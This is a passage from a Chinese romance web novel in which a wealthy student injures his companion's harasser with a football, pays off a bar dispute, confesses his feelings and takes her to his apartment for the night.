得到对方嚣张的答案后,他沉静两秒,说:“这样啊。”
接着毫不犹豫地把对方的头按在了围墙边的花坛上。
关了三天禁闭以后,宋淮靳被带去道歉。
他那时候还没有现在这样高大,却已经学会昂起下巴看人,目光冷冷地说了句:“对不起。”
反而是被道歉的对方家长在那边点头哈腰。
然后他就被送去了英国。
“你学姐说得没错。但我在瑞士长大,中学在英国念的,所以并不会说粤语。”宋淮靳浅浅地笑起来,只字不提在港岛的过去,他学到了坏习惯,又从中解脱。
“这样啊...”林杳眠怔住。
瑞士和英国,听起来都是很远的地方。
宋淮靳凝视她:“你呢?”
“嗯?”
“你中学在京市读的吗?”
林杳眠局促地抿下嘴:“不是。我在我老家芜川读的,上大学以后才来的京市。”
“我同学说国内想要考上京大很难,你学习肯定很厉害。”
他圆弧状的眼睛弯了弯,瞳孔里泛起醉人的光。
“我...”林杳眠感觉有话堵在了喉咙里。
下午自习室发生过那样的事,她没办法苟同他的话。
宋淮靳似乎不在意她的停滞,继续往下挑起其他话题。
他在聊天上也颇有社交技巧,说起在英国上学时候的过往趣事,没有炫耀的成分,引得她情不自禁地笑。
从宋淮靳的描述中,林杳眠拼凑出他的一些高中趣事。
他的学校制服是白衬衣和燕尾西装,需要去指定的裁缝店定制。
拉丁语和哲学是必修课。
他不喜欢每天早上的教堂礼拜,还经常和朋友偷偷溜去用假id买酒。
一段和她完全相反的中学时光。
这一顿饭的气氛过于愉悦,以至于林杳眠忘了宋淮靳找她的目的。
他没有跟她谈起任何工作任务上的事。
*
第二天周日,林杳眠罕见地睡到日上三竿,醒来时寝室里只剩下她一个人。
袁曼香估计去奶茶店值班了。而叶佳媛哭过那一阵后,又突然换回了以前的面孔,没有再回寝室住。
两人猜测她可能跟男朋友又复合了。
吃过饭到校西门,林杳眠发现,宋淮靳又换了辆新车,远不如上一辆张扬。
今天的活动是京大和另一所一流大学的足球联谊赛,比赛被安排在另一所学校的球场。
康欣妍在排班上花了心思,一般这种只发布在学生日常相关的公众号上的活动会分配给新人,而像上次林杳眠参加的需要对外宣传的讲座活动,会挑有经验的老部员去。
当时林杳眠看到对面学校的名字,有一刹那的皱眉,但想了想,不至于这么倒霉。
她对足球一窍不通。
宋淮靳在发动引擎之前,看到林杳眠正在阅读平板上图文并茂的资料。他握着方向盘的手一顿:“你完全可以来问我。”
林杳眠沉浸在资料上的相关术语中,她昨天睡前浏览过一遍,今天起来又忘了。
她没有听清楚,在转头看他的时候,眼神中有堆着迷茫,很像森林里迷了路的小鹿。
宋淮靳又说:“我在中学期间是我们学校足球队的。我以前的一个队友去了英超的一支球队踢球。”
林杳眠笑了笑:“那你写这次的稿子应该很容易。”
等抵达场地,林杳眠看见一个不想看见的人。
还真就是这么倒霉。
绿茵茵的人造草皮上,管皓和三个男生把足球在彼此之间踢来踢去,似乎为今天的比赛。
管皓也看到了林杳眠,还有站在旁边的宋淮靳。
他意味深长地笑了下:“老同学好久不见,怎么专程跑我们学校来看球赛?”
林杳眠瞥见管皓身后的男生投来打量的目光,回答坦然干脆:“我负责我们学校这边的采访。”
说完,她往看台的方向走去。
“管哥你同学啊?”
“那可不,我高中的香馍馍,那届的省状元。”
“哇哦,状元长这么漂亮,妹子还单身吗?”
...
当着人面议论,最基本的尊重和礼貌也没有。
林杳眠把背后的话听得一清二楚,轻轻扯了下嘴角。
她没有回头,所以也错过了宋淮靳和管皓对视,管皓故意挂在嘴边挑衅的笑。
坐在看台上,林杳眠半撑着下颌。虽然提前做过功课,她还是看不懂球场上的局势,只知道二十来个人一直追着一个球跑来跑去。
阳光穿过她柔软的头发,镀上一层浅金色的光晕,美好得不真实。<
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安静了一路的宋淮靳突然出声:“他真的是你高中同学吗?”
“对啊”林杳眠疑惑,“怎么了?”
“他踢球水平很糟糕。”
宋淮靳的目光投向远处:“而且我以为同一所高中出来的大家都差不多。”
就像他们学校一样,毕业生们仿佛同一个模子里刻出来的,完美符合学校的要求:非常得体正经,要有绅士风度。
宋淮靳是这道生产线上的失败品,但不妨碍他在必要的时候伪装成合格的样子。
管皓从头到尾烂透了,和他在港岛遇见的那群男生一样,坐在下水沟里嘲笑上面的人。
林杳眠没有完全理解到他的意思。
“我是普通高中部的,他是国际部的,所以严格意义上并不是一个体系。”
“那你讨厌他吗?”
宋淮靳的表达方式太直接。
林杳眠愣神了一秒,对上他眼底的认真。
想起以前高中刻意绕过的远路,毕业后一次又一次的好友申请和骚扰留言。
温和的处事方式让她对上这种人的时候有天然劣势,她一味地躲避,但躲避解决不了问题。
林杳眠垂下头:“对。”
她不习惯表达对一个人的厌恶,也拿这种人没办法,所以不想继续这个话题。
幸好宋淮靳没有再问下去,他拿起相机,开始完成今天的任务。
九十分钟后,比赛结束。
林杳眠收拾好物品,准备去场边找一个队员采访感想。
顺着看台的阶梯下来,走到跑道的顷刻间,林杳眠被一股巨大的力道扯了个趔趄。
黑白球状物从一米开外的距离嗖地一下飞过去,撞击在看台下方的墙壁上,在力的作用下反弹回来,却没有滚到绿茵场上。
宋淮靳把球拦截在了脚下。
“对不起!对不起!”一个男生小跑过来,连声道歉。
林杳眠认出这个男生是刚才站在管皓后面的人。
她猛然转头看向管皓。他双手抱在胸前,悠哉悠哉地笑。
故意的。
“谁踢的?”
宋淮靳的脸色阴沉得可怕。
林杳眠意识到,他以前那些不高兴的样子顶多只能算闹别扭。
宋淮靳的眉弓压成一道锋利的线条,唇瓣抿在一起,颧骨肌肉绷紧。
这个才是他真的生气的样子,像随时准备发动进攻的猎豹。
“不好意思啊,我们传球失误了。”
男生觉得宋淮靳的反应有点过头了,他们也没真想往人身上踢。
开个玩笑而已。
“我再问一遍,谁踢的?”
“我踢的。”管皓走过来,大大方方地承认,“长传出现失误很正常吧?”
“是吗?”宋淮靳低头嗤笑一声,表情缓慢地恢复平静。
他踩住球,来回滑动。
宋淮靳抬起头,浅薄的微笑止于表面:“那我短传出现失误也很正常,对吧?”
管皓皱起浓眉大眼,没懂这句话的意思。
下一秒,林杳眠瞳孔放大,惊骇地差点叫出声。
管皓整个人倒在地上,双手捂在脸的正中央。手指间红色的液体流淌出来,白色的球衣,绿色的草皮,到处都有红的点滴。
球又一次受到力的作用,在地上弹跳几下,滚落到球网里。
12. 答案
医院走廊上消毒水的气味像一层薄膜贴在鼻腔内部。
林杳眠坐在候诊区冷冰冰的椅子上,大脑里一片混乱,刚才发生的事超乎了她的预想。
沉闷的嚎叫声还回荡在耳边。
林杳眠很难形容当时内心的感觉。
她的父母忙于工作,但她并不是在没有爱的环境中长大的。恰恰相反,外婆在她成长的道路上给予伊甸园一般的正面引导。那些话潜移默化地刻进她年幼的灵感,和她的身体一同生长。
比如遇见他人遭受极大痛苦之际,应该富有同情心地伸出援手。
但在当下这个微妙的时刻,难以捉摸的快意像羽毛一般拂过皮肤表面。
衣服侧兜里的手机震动,林杳眠跟着一哆嗦。
打开一看,是袁曼香的消息,问她晚上要不要一块去食堂晚饭。
林杳眠回复,说自己临时有点事,不在学校。
她的胃目前实在腾不出心思给晚餐。
走廊那一边,宋淮靳被管皓带来的男生围在角落。
作为肇事者,他没有一点愧疚或悔过的样子,冷漠的表情中带着不屑。
林杳眠听不清他们在说什么,但不一会儿,宋淮靳进了病房。
接着管皓愤怒至极的叫声从病房里传出来,好几个候诊区的大妈大爷往门口投去好奇的目光。
“我爷爷现在就在京市!你有种别走给我等着!”
林杳眠的嘴角微微抽动。为难管皓一个成年人到这时候,还能说出类似小学生“你有种放学别走给我来校门口”一样幼稚的话。
宋淮靳从病房里出来了,表情依旧淡定。
他走到林杳眠旁边的位置坐下。
“他怎么样?”林杳眠侧过头问她。
“小伤而已。”
宋淮靳回答得云淡风轻,好像之前凶狠的一幕跟他毫无关系。
林杳眠迟疑一下,又问:“真的吗?”
她不太相信宋淮靳的话,因为当时管皓白色的球衣被染红了一大片,看起来伤得不轻。
“真的。”宋淮靳偏过头,睫毛下轻松的眼神闪烁,“来之前不是告诉你了吗?我以前是学校足球队的,多大力道我还不清楚吗?”
奇怪的感觉涌上林杳眠的心头,她避开目光。
被他直视的时候,她很难思考。
“你是故意的。”
宋淮靳收敛起了嘴角若有若无的笑意:“他也是故意的。”
球从她旁边越过去。
但管皓实实在在地躺进了医院。
林杳眠分不清了。
见林杳眠迟迟没有说话,宋淮靳又说:“你觉得我做太过了吗?”
他的嗓音低沉。
“你知道他踢球的时候用了多大力气吗?”
“你猜他想过没有,如果那颗球砸到人身上会有什么后果?”
宋淮靳侧过头,脸正对墙边的玻璃窗,剔透的瞳孔捕捉到晴日的阳光,目光灼灼,仿佛要将周遭的一切吸进去。
恶魔在这个时候递出了苹果。
宋淮靳之前在车里说过的话原来是事实。
像管皓这种人他见多了,所以才这么了解。
她再往前走两步,那颗球是有可能砸在她身上的。
林杳眠的睫毛颤了颤,腾起一股冰凉的后怕,大脑再一次混淆起来。
她试图将杂乱的情绪从身体里赶出去,但不幸被人打断了。
一位彬彬有礼的男人站在面前,身穿休闲款羊毛西服,搭配深色高领毛衣和直筒裤,精英气息直面扑来。
男人叫了宋淮靳的名字,说:“我们需要谈一下。”
宋淮靳收回目光,对林杳眠说:“你在这等我一会儿。如果他们找你麻烦,你到外面的露台找我。”
然后他站起来,冷冷地和男人平视:“我们出去说。”
看着两个人离开的背影,林杳眠后知后觉地想。
男人看起来三十多岁,如果是宋淮靳的哥哥,两个人的年纪差也太大了。如果是长辈,又未免太年轻。
宋淮靳往露台的栏杆上随意一倚,抬起下巴:“你不要告诉我,这种小事还需要通知我爸。”
陈墨宇的眉毛抽了抽:“董事长现在在洛杉矶参加一个会议,但他已经知晓这件事了。他说今晚会亲自和你视频通话谈论。”
林杳眠猜得没错。
两个人既非兄弟,也非亲属。
陈墨宇在过去的十多年里属于典型的精英成长路径,国外顶级名校毕业,第一份工作就进入港岛大名鼎鼎的财团,凭借出色的个人能力一路高歌猛进,干到了董事长特助的位置。
今年夏天的一个下午,他被董事长叫到办公室,称有一份重要工作需要交给他。
陈墨宇雄心勃勃地准备在新地区一展身手。两个月后,他变成宋淮靳名义上的助理。
但是两个人彼此都清楚互相的定位。
宋淮靳嗤笑一声,手撑着栏杆站得笔直,眼睛死死盯着:“你处理不了可以滚回港岛,我自己处理。”
陈墨宇从董事长提供的资料中,见识过这位少爷的辉煌履历,不能说劣迹斑斑,只能说故事比较令人深刻。
但他不得不承认,宋淮靳现在年纪轻轻,跟他发号施令说的是混蛋话,却已然隐隐有了上位者的气势。
可惜陈墨宇并不从宋淮靳这里领工资。
林杳眠忐忑不安地坐在长椅上。虽然男人说话方式十分礼貌,她有点担心宋淮靳会挨骂。哪怕干出这种危险事后,挨骂是理所当然。
宋淮靳昨天有半句话说的没错。
她现在是他在部门内的“上级”,要对他的行为负责。
林杳眠懊恼起来,事情不该闹到这个地步。
两个人回到医院走廊,那位精英男士表情严肃,径直走进了管皓的病房。
林杳眠看向站在旁边的宋淮靳,赶紧问:“你挨骂了吗?”
宋淮靳表情一怔,身体里那道被此前被划开的裂口涌出一股奇特又兴奋的满足感,多巴胺随着血液循环到每个角落。
她的眼睛的确很像小鹿,湿漉漉地装着紧张,真诚又干净。
过去那些错位的、断开的认知链条在这一瞬间重新连接起来。在被酒精麻痹时刻未能弄明白的事,他现在找到了答案。
每当他生病或者出事的时候,她会用这种关切的眼神看他,并且不会躲开。
宋淮靳温和地笑了笑:“没有。我们走吧
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。他会处理剩下的事。”
路过病房的门口,林杳眠被里面突然想起的尖叫吓得浑身一颤,差点没听出来是管皓的声音。
“凭什么?他好端端站在外面,我鼻骨折加脑震荡,凭什么我给他道歉?!”
林杳眠下意识抬头看了眼宋淮靳。
冷漠无暇的表情。
*
突如其来的意外遏制住了食欲,所以林杳眠婉拒了宋淮靳一起吃晚饭的提议。
对于否定的回答,宋淮靳没有像以往一样眼尾下沉,而是贴心地送她到宿舍楼下。
他的嘴角至始至终扬着弧度。
但林杳眠看不出这份笑是温的,还是凉的。
寝室里安静得可怕,天花板上的灯管熄着,太阳下山前残留的余晖从阳台斜洒进来,房间里才有了点微弱的亮度。
林杳眠想起来袁曼香说店里来了个新兼职的学生,她要看着点晚班,关店以后才会回来。
爬上床位,林杳眠软塌塌地倒在被子上。神经仿佛被泡进热水中,开始缓慢放松。她终于有片刻空隙可以消化今天发生过的事。
偏偏这个时候手机又响了。
林杳眠抬起手拿过一看,是蒋悦的视频通话的请求。
她有气无力地从床上坐起来,打开小夜灯。
蒋悦温柔的声音从扬声器中传出来。
“杳杳,你最近忙吗?你说想看看你。”
林杳眠转过身子,坐得笔直。
手机画面里出现外婆熟悉的脸庞和花白的短发。
林杳眠愣了下,叫道:“外婆。”
画面那一头的老人只是抿着嘴,含蓄又和蔼,眼角和嘴角的皱纹,连带衣服上的花边都藏着笑。
这个笑容陪伴了林杳眠完整的童年。外婆接她放学时,带她上街买零食时,周末去动物园时,外婆总爱这么含蓄地笑,对所有人都是。
过一会儿,老人盈盈开口:“这是哪家人的闺女,长得好漂亮。”
果然,外婆没有认出她。
“唉呀...”画外音有蒋悦的声音,镜头挪了挪,蒋悦的脸重新出现在视频里,叹口气,“你外婆刚过晚饭,还吵着要看孙女,这会儿又认不出来了...”
林杳眠挤出一个笑:“没事,外婆的病就是这样。”
蒋悦听出来女儿的声音不太对,询问怎么回事。
林杳眠解释说,京市风大,她在外面吹了风,才回寝室不久。
挂断电话,林杳眠彻底将头埋进枕头里。
玻璃瓶中翻涌了一下午的情绪终于被掷碎,源源不断地向外流出,淌满整张床,包围着她。
幸好袁曼香不在寝室,不然肯定会听见她的哭声。
林杳眠不知道在枕头上趴了多久,反应过来的时候发现自己的身体蜷成一小团,眼角的皮肤像被盐粒渍过,微微发疼。
情绪释放过后,肺部又重新进行正常的气体交换,被压抑许久的饥饿也开始反扑。
林杳眠揉了揉眼睛,随手捞过手机,想问袁曼香晚上吃不吃夜宵。
但是屏幕上的显示内容吓了她一跳。
二十分钟前,宋淮靳给她发了一条微信。
「我在你宿舍楼下。」
13. 漩涡
林杳眠一下楼看见男生远远地站在树下。他换了身衣服,从头到尾又裹进黑色中。她庆幸宋淮靳挺会挑位置,那边没有路灯,树影黑暗中看不清人脸上的细节。
宋淮靳把银色的保温盒递到她手里。林杳眠惊讶地抬头,内心混乱变成空白。
“我猜你还没有吃晚饭。我让阿姨多做了一份,但她是按照我的口味来的,不知道你能不能吃得惯。”
他的语调平稳,和下午做出冲动行为时判若两人。
很难想象两幅极端相反的面孔同时出现一个人身上。
接过保温盒的时候,林杳眠碰到他的手背,冰冰凉凉。他在楼下站了二十分钟,冷风会一点点汲取皮肤表面的热量。
事态在驶向错误的方向,一旦过了铁轨的岔路口,扳不回来。
林杳眠想说一声谢谢,却迟迟开不了口。
宋淮靳凝视她恬静温柔的脸,最后目光落在她的眼眶上:“你哭了吗?”
“没有。”
没有人会在这种时候承认,林杳眠也一样。
宋淮靳沉默一会儿,平静的语气中多出几分克制。
“因为我下午做了那种事吗?”
他的处理方式非常原始,放在以前的学校是会被嘲笑的,只有头脑简单四肢发达的家伙才这么干。
宋淮靳不喜欢,但他也清楚,那种该死的、举止得体的绅士风格,相当受女孩子欢迎。
他的英国同学在参加派对时,故作口音讲几个无聊的笑话,女孩儿会着迷地往上扑。
“不是,跟你没有关系...”林杳眠叹口气。
接二连三发生的事还踩着她,像纷扰的毛线团缠在一块,她过去用在解决数学题上的那套方法全然不起作用,连一个解题的口子都找不到。
反而越用力,缠得越紧。
但袁曼香的提拔并非完全没有给到提示。林杳眠回想起去年她进入新闻部的时候,和带她入门的学长也没有走那么近。
今天下午以后,林杳眠终于缓慢地意识到,宋淮靳的举动超出了正常的工作交流范畴。
这是一个危险的信号。
“我需要时间想一下。”
“谢谢你。”
听了林杳眠的两句话,宋淮靳没有继续问下去,而是让她带着保温盒上楼。
然后安静地注视着她单薄的背影,眼睛里染上浓重的黑。
他不能等她想清楚。
她想清楚以后极有可能又像鱼一样躲避进漂亮的珊瑚里。
*
银色的保温盒在衣柜里孤零零地躺了好几天,林杳眠始终没有找到机会把它还给原主人。
她在微信上问宋淮靳,回复往往是相似的。
「不在学校」
「没时间」
「过一阵再说吧」
反复几次过后,林杳眠也不再问,想着不如等下次出任务直接还给他。
实验室的科研工作加剧,林杳眠每天跟着师兄改代码和调模型。
有一次上课前,她坐在教室里看文献,被闻妙冬撞见了。
闻妙冬问:“你喜欢统计学吗?”
林杳眠解释说她在计算机学院的一个研究所下做科研。犹豫一会儿,她又补充:“想试试明年有没有机会发文章。”
闻妙冬听后,直白地问:“想申计算机方向的PhD?”
林杳眠愣一下,点头。
“那你应该试试MIT或者斯坦福。还是斯坦福吧,离硅谷更近。”闻妙冬说得轻飘飘。
但实际上国内每年申去这两所藤校直博的本科生屈指可数,在网上查一查甚至能找出是谁,发过什么文章,跟过哪个导师。
“这两所大藤竞争太激烈了,我不一定有机会。”林杳眠看见台上的教授打开PPT,她关闭了平板电脑上的文献。
“不试试怎么知道呢?当初周围人都觉得我一个女生走数竞没机会,不一样过来了。”
林杳眠看着投影上的斯托克斯方程,仿佛掉进漩涡。
*
晚上,林杳眠在宿舍给袁曼香辅导高数作业,又提起了这件事。
“停停停!”袁曼香在胸前比划了一个叉,“下次你们这种学神之间的神仙问题,能不能不要带上我?我只是一个高数二都没整明白还在奢望保研的菜鸡!”
“我和她不一样。”
袁曼香哼唧两声,说:“反正对我来说都一样。对于一米五的女生来说,对面的人是一米九还是两米,本质上没有区别。”
“你这里写错了,只需要对第一个变量求导...”
林杳眠用笔圈出题目,在旁边写下正确答案。
“我的意思是,我觉得闻妙冬是有机会做出数学成果的,但我不行。她有数学天赋,我没有。”
“比如什么成果?”
袁曼香不太能理解所谓的数学成果。
林杳眠写字的笔顿一下:“比如斯托克斯方程。”
让整个数学界瞩目的成果。
“斯托克斯方程是什么?”
“跟你正在写的作业一样,偏微分方程的一种。”林杳眠帮她改完最后一行答案,收起笔。
袁曼香嗷叫一声,搂住林杳眠的脖子贴贴:“感谢我的眠宝!不然我高数的平时分又寄了。”
这学期环境专业的高数课,额外增加了根据平时作业正确率考查的加分项。袁曼香果断选择了请外援。
“我不懂数学。不过我觉得你同学说得有道理,为什么不试一试呢?”袁曼香美滋滋地收起高数作业,顺便还八卦了一嘴,“哦对,你跟你上次说的那个学弟现在啥情况?”
林杳眠实话实说:“他最近没空理我。”
袁曼香立马给这位素未谋面的学弟判了死刑:“你看,我之前说的什么,这种就是妥妥的渣男。之前养你鱼,发现没机会以后直接物色下一个…”
林杳眠没来得及替宋淮靳圆两句好话,她放在桌上的手机响起来。
两个人都看清了来电人的姓名。
袁曼香皱起眉头:“叶佳媛怎么会这个时间点给你打电话?”
林杳眠摇着头,接通电话。
音量大到刺耳的女声从扬声器里传出来,没有开免提功能的情况下,旁边的袁曼香也听清楚了。
“请问你认识这部手机的主人吗?她在我们酒吧喝多了,我是值班经理,你能来接下人吗?”
林杳眠看一眼袁曼香,两个人面面相觑。
“我是她室友,她周围没有其他朋友吗?”
“这个我不清楚,她现在就一个人,能麻烦你尽快来吗?我们今天生意很好,腾不出人手照看她。”
林杳眠和袁曼香一起打车到了经理发来的地点。门口的接待人员叫了个服务员,带着她俩挤过喧闹的人群,来到一个卡座前。
叶佳媛半躺在沙发上,拿着酒杯念念有词,显然醉得不轻。
林杳眠和袁曼香一起把叶佳媛架起来。
屋漏偏逢连夜雨,往外挤的过程中,更糟糕的事发生了。或许
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是摇摇晃晃增加了醉酒的不适感,叶佳媛直接呕吐出来。
旁边桌上,一个被混合物溅射到的矮胖男人站起来,推搡了叶佳媛一把,怒吼道:“涨没涨眼睛?!”
顺着力道,林杳眠跟着往后一倒,撞上另一张桌子,后腰钻心地疼,她倒吸一口凉气。
然后听见背后玻璃瓶掉落在地,发出清脆的声音。
男人还在骂骂咧咧,说话时有扑面而来的酒气,估计也喝了不少。
看叶佳媛醉得不省人事,男人直接把矛头转向林杳眠和袁曼香:“我这件衣服才买的范思哲,就穿出来一天,你们说怎么赔!还有我的精神损失费!出来喝个酒这么晦气!”
恶心的酒气加上刺激的音乐,林杳眠一阵头疼,在她思考好要怎么处理之前。
另一道声音出现在她上方。
“你想要什么赔偿?”
宋淮靳挡在林杳眠前面,淡淡地反问。
林杳眠看见袁曼香同样手足无措的表情,抿下嘴,拜托服务员帮忙架住叶佳媛。
“你带她先打车回去,马上门禁了。我留下来处理。”
“他是谁?”袁曼香打量宋淮靳两眼,怎么看怎么眼熟。
“他是我学弟。”
袁曼香脸上的无措变成惊惧,但当下不是八卦的好时机。
林杳眠知道她想问什么,微微抿起嘴:“我回去再跟你解释。”
矮胖男人看见高出他一头的宋淮靳,气焰消下去几分,但嘴上还是不认输:“管不好马子出来喝什么酒!这个女的撞到后面那桌人也全是我兄弟,一桌酒几十万,你说怎么赔!”
男人口中的数字过于骇人,但更吓人的是宋淮靳的表情,他冷峻的五官彻底冻住了。
林杳眠不久前才看过宋淮靳这幅样子,当时他下一秒就把球踹到了管皓的脸上。
难保这次不会干同样的事。
林杳眠扫一眼桌上摆放一圈的酒瓶,在气氛变得更紧张前,她扯住宋淮靳的衣袖,小声说:“算了。”
对面的男人也听见了这句话,气得跳脚,拉高声音:“什么算了?你搞清楚我才受损失的人!”
隔着一层衣物面料,林杳眠都能感受到下面的肌肉在隐隐发力。她要是没拉着,宋淮靳估计真能又闯祸。
但到底是她们这边有错在先,叶佳媛吐在了别人身上也是事实。
林杳眠松开手,往前站,态度诚恳:“对不…”
“不用道歉了。”宋淮靳一把拉住她的手腕,阻止她要说的话,把人往后一带。
正巧值班经理听说这边起了冲突,赶了过来,一看宋淮靳的脸,暗叫不好。
宋淮靳的脸色够差,目光投向经理:“他说他们那桌酒几十万。”
经理瞄了眼那一桌,额头上的汗都快滴下来,这两桌人惹谁不行,非要踢铁板。
宋淮靳是店里常客中的新面孔,但和他一起喝酒的那帮富家少爷可不是。这里是京市,里面的人背景有来头。
应了那句玩笑话,全是爷儿。
宋淮靳不想接着浪费时间,对经理说:“今天晚上店里所有的开销,记我卡上。他还要精神损失费和衣服赔偿,你能处理不?”
经理擦了擦汗,哪敢说不。
宋淮靳转过头,正视矮矮胖胖的男人,一字一顿地问:“现在满意不?”
“傻逼。”
最后两个字结束。
宋淮靳扣住林杳眠手腕的力道并没有松懈,反而加大,拉着她强制离开了现场。
14. 博弈论
冷风兜着寒意钻进衣服,口袋里的手机震个不停。拽着林杳眠手的人没有给她碰手机的机会,而是拉着她走了一路。
被塞进副驾驶的时候,林杳眠嘶地一声抽气,腰后被桌角撞到的地方隐隐痛起来。
“又怎么了?”宋淮靳的表情像被抛下的锚,只有沉入海底才能稳定住船舶。
林杳眠摇摇头:“没事。”
她终于有机会拿出手机查看消息。袁曼香说她们在回学校的出租车,估计得踩着门禁到了。叶佳媛又吐了一次,还得额外付司机钱。
林杳眠希望明天叶佳媛清醒以后能记得她今晚造成的麻烦。然后她意识到另外一件事,来不及回宿舍了。
这个问题远比多付一笔清洁费让人头疼。
她可以门禁之后回寝,但宿管会记下她的名字,这份名单会在月底到达辅导员手里,有晚归记录的学生是没有资格参加奖学金评选的。
bbs上的帖子早把学校这条规定吐槽烂了。你可以不回寝室,不会有人查。但你不能晚归,因为会记过。
绑匪们宁愿撕票,毕竟绑架比杀人判得还重。
驾驶位传来砰的一声,宋淮靳坐进来,车内形成一个封闭的空间。他的手机也滴滴答答响个不停,但手机主人没有丝毫打算理会的意图。
林杳眠提醒他:“有人找你。”
宋淮靳从口袋里拿出手机,没有解锁,而是丢在仪表盘前。他侧过身,手肘撑在方向盘上:“你只有这个想跟我说吗?”
人的大脑有自动防御机制,会潜意识回避一些不愿思考的问题。所以林杳眠听到这句话的第一个想法是:他给她送晚餐的保温盒还在她寝室的衣柜里。
但是她今天晚上又不能回去。
林杳眠的沉默加剧了宋淮靳的焦虑和烦躁,他向来是有什么说什么的人。
“你来这种地方干什么?”
“真出什么事,你应付得了那种无赖吗?”
“我要不是恰好在这儿,你又打算怎么办?”
宋淮靳的胸膛起伏得厉害。他晚上喝了一整瓶伏特加,酒精也是催化剂的一种。
但他说的话和学校的规定一样本末倒置,一样离谱。
“宋淮靳”林杳眠叫了下他的名字。
“我只是来接我室友,她喝醉了。酒吧经理给我打的电话。”
这句话像绵针扎在他的心脏上,她很有办法折磨他。
他一点都不在意她室友的事。
无处发泄的义愤填进了酒精,伴随着强烈的呼吸挥发在空气里。
宋淮靳扭过头,重新坐正,手握紧方向盘:“我不想听这个...”
“那你想听什么?听我说谢谢?”
林杳眠的耳边回荡起矮胖男人夸大其词的话,数字可能是假的,但宋淮靳的行为是真的,跟把钱直接往人脸上砸没什么区别。
那个数字和购买相机完全不同,不是她靠兼职,省省生活费,拿奖学金就可以承受下的。
宋淮靳两次越矩的行为带来了安全感,同时也带来了不安。
一抬头,林杳眠看见挡风玻璃外一览无余的街道和一闪一闪的路灯。
“我不想你说谢谢。”
宋淮靳慢慢低头,拿过手机,开始打字。他在想他的那些朋友是怎么和女生表白的,送昂贵的手袋和珠宝首饰,更为直接的表达方式,反正不是他这样。
回复完所有的消息,宋淮靳转过头,重新和林杳眠对视,他的眼睛一如既往地好看。
“也不需要你说谢谢,换一个人遇上麻烦,我今天晚上不会这么干。”宋淮靳顿一下,声音变得沉闷,“我以为你知道我的意思,我很喜欢你。”
“如果我最近的行为给你造成了困扰,我很抱歉。”
林杳眠规规矩矩放在腿上的手触电似地抖一下。
在学习上的经验告诉她,发现问题一定要立刻解决,否则只会越积越多,最后像多米诺骨牌搭建的大厦一样轰然倒塌。
比如她已经意识到两个人的关系游离出正常范围,仿佛数学试卷上的三角函数,她折腾了半天,才发现解出来的正弦函数的值大于一。
他的话却在告诉她,他要的就是大于一。
林杳眠进入京大后也被人追求过,礼貌地拒绝别人不是困难事。
但当她面对宋淮靳的时候,那些话又说不出口了。内心浮出一个更尖锐的想法,她可能并不是百分百地坚定地想要拒绝他。
林杳眠深吸了一口气,说:“你让我缓一缓…”
隐秘的猜测是一回事,被直接挑明又是另外一回事。
宋淮靳的思维运转得很快,此前的郁闷和生气烟消云散。她没有立刻拒绝他,至少说明她对他不是完全没感觉。她还没有做决定,他有的是小手段加把火。
林杳眠在高中的学习知识范围有限,她只会在那六门课上耗费精力。
但宋淮靳不是,除了像历史、哲学、拉丁语这些老掉牙的课程,学校里还有各式各样的选修,比如博弈论。他会考量自身的优势,分析别人的优势和劣势,然后采取发挥最优策略,达到想要的目的。
她是一个很容易心软的人。
宋淮靳换了一副表情,转头咧开一个笑:“你还要回宿舍吗?我记得你门禁时间马上过了。需要我送你回去吗?”
林杳眠被他带了进去:“你把我放到校西门口就行。”
她原本的计划是校外住一晚便宜酒店,第二天一早回寝室。
宋淮靳下车,绕到副驾驶打开车门,笑容循循善诱:“那怎么行呢?你室友也知道你跟我在一起。万一你出点意外,我怎么跟你室友交差呢。”
他一低头,拉近两个人之间的距离:“对吧?”
宋淮靳刻意咬中反问的尾音。
林杳眠的睫毛仿佛被风吹过的芦苇,轻轻颤抖起来。
宋淮靳微笑道:“所以你还是坐到后面去吧,我叫的代驾已经到了。”
他今天还是干对了一件事,没开两座的跑车。
*
林杳眠坐在米白色的沙发上,脚踩在柔软的纯白色长绒地毯,有种局促的不真实感。
复式公寓采用浅色装修风格,所有陈列在外的物件一尘不染,没有想象中男生房间的杂乱无章。她看见平板电视里的木柜下摆着几个相框和一盆小巧的发财树。
她在小时候幻想过住进这种带楼梯的公寓,因为看起来很好玩,她还会有足够的空间玩扮家家酒的游戏,不会打扰到外婆织毛线。这种愿望上初中以后就破灭了,外婆爬上三楼的楼梯很费劲,幸好后来芜川的旧城区开始老房改造,加装了外部电梯。
宋淮靳在前厅翻箱倒柜,每个柜子里只有他的鞋,摆得整整齐齐,之前他都不知道他的鞋装满了一整面墙。
公寓的洁白无瑕得益于家政阿姨的每天上门清扫。中年妇女有个特异功能,她们
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可以把乱七八糟的东西收纳得整整齐齐,然后放在只有她们才能找到的位置。
宋淮靳刚搬进来的时候,阿姨按照流程准备了客用的一次性用品。宋淮靳看见以后要求阿姨马上拿走这些多余物品,因为他不会家里带人,更不会在家里办派对。
所以他现在也找不到那些东西在哪儿。
清脆的铃声响起,林杳眠诧异谁这么晚还会按门铃。
宋淮靳利索地开门,关门。他接过陈墨宇手中的袋子,像那天在露台上一样盯着对方:“你要是把这件事也告诉我爸,我保证我明天把你打得满地找牙,你知道我干得出来这种事。”
陈墨宇内心有一瞬间的无语感,但他提醒自己看在七位数年薪的份上做好本职工作,以前是协助董事长和其他高层管理人员交流,现在是父子之间的沟通桥梁,但宋淮靳比一屋子的高管还难对付。
“不会。”带女孩子回家过夜对于这种富家少爷寻常不过。
“那你知道王阿姨把一次性用品收哪儿了吗?”
“...”陈墨宇长长地吸一口气,控制住表情,“洗衣房旁边的暗门进去是储物间。”
宋淮靳点头,然后啪地一声关上门,他在陈墨宇说的地方找到了一次性洗漱用品,但依旧没有一次性拖鞋,看来这个真的只有阿姨才知道。
他懊恼地回到客厅,问坐在沙发上的人:“你冷吗?冷的话我再把地暖调高一些。”
“不用不用,已经很暖和了。”
温暖到林杳眠有一种在坐热气球的飘飘然的虚浮。
宋淮靳松了口气:“那你现在要去卧室睡觉吗?我去把我的东西拿出来。”
借宿还要占主人的主卧不礼貌,林杳眠果断拒绝了:“没关系,我在沙发上呆一晚就行。”
还有六个小时到宿舍楼开门,她就能回去。睡沙发更算不上委屈,他家沙发比宿舍标配九十厘米宽的单人床还宽敞。
“你是女生,怎么可能让你睡客厅?”宋淮靳不由分说地把她从沙发上拉起来,推上楼,推进卧室。
他把东西塞到她手里:“这里有洗漱用品,还有药膏,要不是明早没有用的话,我们去医院。浴室里所有的东西阿姨早上都更换过,你不用担心。”
